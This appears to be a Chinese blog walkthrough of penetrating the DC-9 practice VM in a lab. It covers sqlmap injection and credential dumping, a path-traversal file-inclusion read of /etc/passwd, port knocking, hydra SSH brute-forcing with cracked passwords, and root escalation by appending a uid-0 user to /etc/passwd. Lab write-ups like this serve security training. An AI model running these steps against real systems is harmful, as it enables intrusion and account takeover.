DC-9靶机渗透


title: DC-9靶机渗透
date: 2023-1-8 16 :09 :36
tags: DC系列靶机
categories: 渗透从入门到入土
author:Abyssaler


DC-9渗透全流程

一:实验环境

kali攻击机: 192.168.2.104

DC-9靶机: 192.168.2.103

二:信息收集

主机发现

arp-scan -l

image-20230108162852268

nmap -sn 192.168.2.0/24

image-20230108162929693

端口扫描

masscan --rate=10000 --ports 0-65535 192.168.2.103

image-20230108163101043

没找到,换一种方式

nmap -PA 192.168.2.0/24

image-20230108163318945

nmap -sS 192.168.2.103

image-20230108163359443

发现开启了22,80端口

对端口做细致扫描

nmap -p22,80 -sV -A 192.168.2.103

image-20230108163728569

目录扫描

dirsearch -u http://192.168.2.103/ -e*

image-20230108163557485

指纹识别

直接用whatwebwappalyzer都无法识别出cms

image-20230108164654971

只能觉得这个界面看起来像drupal

image-20230108164809518

三:渗透测试

burp suite+sqlmap

注意到有一个搜索页面和登录页面,考虑是不是有sql注入点

在search栏输入文本,用burp suite捕获请求

image-20230108170335228

可以看到一个post请求

image-20230108170343162

复制捕获的请求并将其粘贴到一个文本文件中,并将其命名为dc-9.txt,这样可以将捕获的请求与sqlmap一起使用

image-20230108170721790

保存为txt文件

image-20230108170807739

ps: sqlmap -u 默认使用的是get方式来注入的

使用sqlmap枚举数据库

sqlmap -r dc-9.txt --dbs --batch# -r :从文件中加载http请求 --batch :默认回答

image-20230108172222141

首先枚举staff数据库

sqlmap -r dc-9.txt -D Staff --dump-all --batch # --dump-all 获取所有的记录

发现了有两张表,StaffDetails表和Users

image-20230108173156028

image-20230108173203346

+--------+----------------------------------+----------+
| UserID | Password                         | Username |
+--------+----------------------------------+----------+
| 1      | 856f5de590ef37314e7c3bdf6f8a66dc | admin    |
+--------+----------------------------------+----------

可以使用hash-identifier测试一下密文的种类

image-20230108173850506

可能是一个md5的密码,在线解密试试

image-20230108174015160

得到明文transorbital1

账号:admin 密码:transorbital1

接着枚举users数据库

只有一张表

image-20230108174707002

可以看到这个表上面爆出来的职员表的账号信息

我们可以把用户和对应的密码储存在一个txt文件中

1.txt

image-20230108182137832

awk -F "|" '{print $6}' 1.txt >username.txt

image-20230108182009229

awk -F "|" '{print $4}' 1.txt >password.txt

image-20230108182223177

可以发现字段前都有个空格

删除空格

vim username.txt

输入%s/ //g

image-20230108182415725

可以看到空格被删除了

同样的方法处理password.txt

我们就得到了username.txtpassword.txt两个文件了

文件包含漏洞利用

首先利用得到的管理员账号登录后台

image-20230108182833271

收集到一个重要信息File does not exist

提示"文件不存在",这意味着页脚中必须包含一个文件,但是该文件现在丢失或放错位置了,我们知道,在有include函数的地方,我们就有可能找到一个文件上传漏洞

image-20230108183202253

文件包含漏洞原理介绍

https://blog.csdn.net/qq_42133828/article/details/83927058

枚举文件,一层一层的查看,最终找到passwd文件位置

http://192.168.2.103/welcome.php?file=../../../../../../etc/passwd

image-20230108184814065

利用端口敲门服务开启ssh端口

通过之前的信息收集我们知道,靶机的22端口是有过滤的

image-20230108185229330

什么是端口敲门

参考文章

https://zhuanlan.zhihu.com/p/59488488

https://www.cnblogs.com/wsjhk/p/5508051.html

https://cloud.tencent.com/developer/news/477568

​ 端口敲门(Port knocking)技术,可以理解为密码或者暗号服务,简单来说,就是访问“预先设定好的顺序端口”,服务器收到某客户端的端口尝试序列后,动态修改防火墙规则,打开某特定端口,这时候,这个端口就可以被某IP进行访问了。访问顺序端口跟敲门一样,也类似于密码或者暗号。

利用(很不容易被想到)

首先找到knockd.conf这个文件,如果找到了就意味着涉及到端口敲门

http://192.168.2.103/welcome.php?file=../../../../../../etc/knockd.conf

使用nc依次访问该ip对应的三个端口

nc -nv 192.168.2.103 7469

nc -nv 192.168.2.103 8475

nc -nv 192.168.2.103 9842

最后用nmap验证22端口是否被打开

nmap -p 22 192.168.2.103

image-20230108202439026

hydra暴力破解

hydra -L username.txt -P password.txt ssh://192.168.2.103

最后得到了三个用户的访问权限

[22][ssh] host: 192.168.2.103   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.2.103   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.2.103   login: janitor   password: Ilovepeepee

image-20230108202805891

ssh用户登录

依次访问爆破出来的用户,发现在janitor用户的用户文件夹下有一个隐藏文件夹

image-20230108204728699

访问后发现是一个存放密码的文本文件

将密码导入之前创建的password.txt中,再用hydra破解

发现破解出了一个新的用户

image-20230108205111977

再用这个用户尝试登录

登录成功

image-20230108205231401

提权

直接sudo su -尝试提权

发现不能执行,但是不是未授权

image-20230108205403562

sudo -l查看一下

看到了一个root权限的命令

image-20230108205511797

进入目录查看下这个程序

image-20230108210044114

发现全是乱码,上网查证后发现,真正的test文件在它的上两级目录,也就是/opt/devstuff

进入目录查看

image-20230108210220290

发现是一个python脚本,大意是一个简单的数据追加程序,将以2个文件作为参数,然后将第一个文件的内容附加到第二个文件中

image-20230108210238154

可以在kali端本地建一个拥有root权限的账户,再把这个用户的信息通过这个脚本写到靶机的/etc/passwd文件中储存,这样就得到了一个拥有root权限的账户

kali端执行

openssl先创建一个本地的加密用户:

openssl passwd -1 -salt hacker 123456

-1 的意思是使用md5加密算法

-salt 自动插入一个随机数作为文件内容加密,即加盐

image-20230108211152338

$1$test$at615QShYKduQlx5z9Zm7/

靶机端执行

echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:root:/root:/bin/bash' >>/tmp/hacker

sudo /opt/devstuff/dist/test/test /tmp/hacker /etc/passwd

su - hacker

image-20230108213753090

找到flag

image-20230108213821731

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值